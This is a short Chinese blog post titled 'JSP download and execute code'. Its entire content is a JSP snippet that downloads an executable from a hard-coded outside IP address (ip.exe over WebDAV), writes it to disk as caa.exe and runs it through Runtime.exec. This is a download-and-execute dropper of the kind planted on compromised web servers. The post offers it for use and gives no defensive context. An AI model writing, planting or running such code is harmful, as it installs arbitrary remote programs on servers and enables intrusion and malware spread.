首页 > 技术文章 > JSP下载并执行代码

JSP下载并执行代码

代码如下:

<%@ page import="java.io.*, java.net.*" %>    
<%     
try {    
    //String exe = request.getParameter("exe");    
    String urlname = "http://58.103.196.210:8080/webdav/ip.exe";    
    URL url = new URL(urlname);    
    URLConnection conn = url.openConnection();    
    String filename = new String("caa.exe");    
    FileOutputStream outf = new FileOutputStream(filename);    
    conn.setDoInput(true);    
    InputStream inStream = conn.getInputStream();    
    BufferedInputStream input = new BufferedInputStream(inStream);    
    byte[] b = new byte[1024];    
    int a = 0;    
    while((a = input.read(b,0,b.length)) != -1){    
        outf.write(b,0,a);    
    }    
    outf.flush();    
    input.close();    
    outf.close();    
   
    //run the exe    
    Process child = Runtime.getRuntime().exec(filename);    
}    
    catch (IOException e){     
    System.err.println(e);     
}     
%>   

分类: 技术文章 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.